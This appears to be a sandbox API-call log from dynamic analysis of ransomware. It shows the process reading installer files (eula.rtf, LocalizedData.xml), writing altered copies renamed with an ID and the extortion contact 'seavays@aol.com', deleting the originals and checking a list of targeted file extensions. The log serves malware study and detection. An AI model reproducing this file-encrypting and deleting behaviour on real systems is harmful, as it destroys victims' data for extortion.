[0052.752] CloseHandle (hObject=0x2f0) returned 1 [0052.752] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0052.752] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.752] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.752] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.752] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.752] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0052.752] GetLastError () returned 0x0 [0052.753] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x141c6, lpOverlapped=0x0) returned 1 [0052.757] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x141d0, lpOverlapped=0x0) returned 1 [0052.759] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.759] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.759] SetEndOfFile (hFile=0x2c0) returned 1 [0052.760] CloseHandle (hObject=0x2c0) returned 1 [0052.762] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.762] SetEndOfFile (hFile=0x2f0) returned 1 [0052.763] CloseHandle (hObject=0x2f0) returned 1 [0052.763] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.763] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0052.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.764] lstrlenW (lpString=".doc") returned 4 [0052.764] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.764] lstrlenW (lpString=".docx") returned 5 [0052.764] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.764] lstrlenW (lpString=".pdf") returned 4 [0052.764] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.764] lstrlenW (lpString=".xls") returned 4 [0052.764] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.764] lstrlenW (lpString=".xlsx") returned 5 [0052.764] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.764] lstrlenW (lpString=".ppt") returned 4 [0052.764] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.764] lstrlenW (lpString=".zip") returned 4 [0052.764] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.764] lstrlenW (lpString=".rar") returned 4 [0052.764] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.764] lstrlenW (lpString=".bz2") returned 4 [0052.764] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.764] lstrlenW (lpString=".7z") returned 3 [0052.764] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.764] lstrlenW (lpString=".dbf") returned 4 [0052.764] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.764] lstrlenW (lpString=".1cd") returned 4 [0052.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.765] lstrlenW (lpString=".jpg") returned 4 [0052.765] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.765] lstrlenW (lpString=".doc") returned 4 [0052.765] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.765] lstrlenW (lpString=".docx") returned 5 [0052.765] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.765] lstrlenW (lpString=".pdf") returned 4 [0052.765] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.765] lstrlenW (lpString=".xls") returned 4 [0052.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.765] lstrlenW (lpString=".xlsx") returned 5 [0052.765] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.765] lstrlenW (lpString=".ppt") returned 4 [0052.765] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.765] lstrlenW (lpString=".zip") returned 4 [0052.765] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.765] lstrlenW (lpString=".rar") returned 4 [0052.765] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.765] lstrlenW (lpString=".bz2") returned 4 [0052.765] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.765] lstrlenW (lpString=".7z") returned 3 [0052.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.765] lstrlenW (lpString=".dbf") returned 4 [0052.765] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.765] lstrlenW (lpString=".1cd") returned 4 [0052.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0052.766] lstrlenW (lpString=".jpg") returned 4 [0052.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.766] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.766] lstrlenW (lpString="eula.rtf") returned 8 [0052.766] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.766] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3683) returned 1 [0052.766] CloseHandle (hObject=0x2f0) returned 1 [0052.766] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0052.766] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.766] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.766] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.766] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.766] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0052.767] GetLastError () returned 0x0 [0052.767] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xe63, lpOverlapped=0x0) returned 1 [0052.768] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe70, lpOverlapped=0x0) returned 1 [0052.769] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.769] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.769] SetEndOfFile (hFile=0x2c0) returned 1 [0052.769] CloseHandle (hObject=0x2c0) returned 1 [0052.770] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.770] SetEndOfFile (hFile=0x2f0) returned 1 [0052.771] CloseHandle (hObject=0x2f0) returned 1 [0052.771] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.771] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0052.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.772] lstrlenW (lpString=".doc") returned 4 [0052.772] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.772] lstrlenW (lpString=".docx") returned 5 [0052.772] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.772] lstrlenW (lpString=".pdf") returned 4 [0052.772] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.772] lstrlenW (lpString=".xls") returned 4 [0052.772] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.772] lstrlenW (lpString=".xlsx") returned 5 [0052.772] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.772] lstrlenW (lpString=".ppt") returned 4 [0052.772] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.772] lstrlenW (lpString=".zip") returned 4 [0052.772] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.772] lstrlenW (lpString=".rar") returned 4 [0052.772] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.772] lstrlenW (lpString=".bz2") returned 4 [0052.772] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.772] lstrlenW (lpString=".7z") returned 3 [0052.772] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.772] lstrlenW (lpString=".dbf") returned 4 [0052.772] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.772] lstrlenW (lpString=".1cd") returned 4 [0052.772] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.772] lstrlenW (lpString=".jpg") returned 4 [0052.772] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.773] lstrlenW (lpString=".doc") returned 4 [0052.773] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.773] lstrlenW (lpString=".docx") returned 5 [0052.773] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.773] lstrlenW (lpString=".pdf") returned 4 [0052.773] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.773] lstrlenW (lpString=".xls") returned 4 [0052.773] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.773] lstrlenW (lpString=".xlsx") returned 5 [0052.773] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.773] lstrlenW (lpString=".ppt") returned 4 [0052.773] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.773] lstrlenW (lpString=".zip") returned 4 [0052.773] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.773] lstrlenW (lpString=".rar") returned 4 [0052.773] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.773] lstrlenW (lpString=".bz2") returned 4 [0052.773] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.773] lstrlenW (lpString=".7z") returned 3 [0052.773] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.773] lstrlenW (lpString=".dbf") returned 4 [0052.773] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.773] lstrlenW (lpString=".1cd") returned 4 [0052.773] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0052.773] lstrlenW (lpString=".jpg") returned 4 [0052.773] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.774] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.774] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.774] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.774] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=80738) returned 1 [0052.774] CloseHandle (hObject=0x2f0) returned 1 [0052.774] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0052.774] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.774] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.774] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.774] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.774] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0052.775] GetLastError () returned 0x0 [0052.775] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x13b62, lpOverlapped=0x0) returned 1 [0053.288] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x13b70, lpOverlapped=0x0) returned 1 [0053.290] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.292] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1 [0053.292] SetEndOfFile (hFile=0x2c0) returned 1 [0053.292] CloseHandle (hObject=0x2c0) returned 1 [0053.294] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.294] SetEndOfFile (hFile=0x2f0) returned 1 [0053.295] CloseHandle (hObject=0x2f0) returned 1 [0053.296] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.296] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0053.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.296] lstrlenW (lpString=".doc") returned 4 [0053.296] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.296] lstrlenW (lpString=".docx") returned 5 [0053.296] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.296] lstrlenW (lpString=".pdf") returned 4 [0053.296] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.296] lstrlenW (lpString=".xls") returned 4 [0053.296] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.296] lstrlenW (lpString=".xlsx") returned 5 [0053.296] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.297] lstrlenW (lpString=".ppt") returned 4 [0053.297] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.297] lstrlenW (lpString=".zip") returned 4 [0053.297] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.297] lstrlenW (lpString=".rar") returned 4 [0053.297] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.297] lstrlenW (lpString=".bz2") returned 4 [0053.297] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.297] lstrlenW (lpString=".7z") returned 3 [0053.297] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.297] lstrlenW (lpString=".dbf") returned 4 [0053.297] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.297] lstrlenW (lpString=".1cd") returned 4 [0053.297] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.297] lstrlenW (lpString=".jpg") returned 4 [0053.297] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.297] lstrlenW (lpString=".doc") returned 4 [0053.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.297] lstrlenW (lpString=".docx") returned 5 [0053.297] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.297] lstrlenW (lpString=".pdf") returned 4 [0053.297] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.297] lstrlenW (lpString=".xls") returned 4 [0053.297] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.298] lstrlenW (lpString=".xlsx") returned 5 [0053.298] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.298] lstrlenW (lpString=".ppt") returned 4 [0053.298] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.298] lstrlenW (lpString=".zip") returned 4 [0053.298] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.298] lstrlenW (lpString=".rar") returned 4 [0053.298] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.298] lstrlenW (lpString=".bz2") returned 4 [0053.298] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.298] lstrlenW (lpString=".7z") returned 3 [0053.298] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.298] lstrlenW (lpString=".dbf") returned 4 [0053.298] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.298] lstrlenW (lpString=".1cd") returned 4 [0053.298] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0053.298] lstrlenW (lpString=".jpg") returned 4 [0053.298] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.298] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0053.298] lstrlenW (lpString="eula.rtf") returned 8 [0053.298] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0053.300] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4015) returned 1 [0053.300] CloseHandle (hObject=0x2f0) returned 1 [0053.300] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0053.300] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.300] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0053.300] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.300] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.300] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0053.301] GetLastError () returned 0x0 [0053.301] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xfaf, lpOverlapped=0x0) returned 1 [0053.302] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xfb0, lpOverlapped=0x0) returned 1 [0053.303] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.303] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1 [0053.303] SetEndOfFile (hFile=0x2c0) returned 1 [0053.303] CloseHandle (hObject=0x2c0) returned 1 [0053.304] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 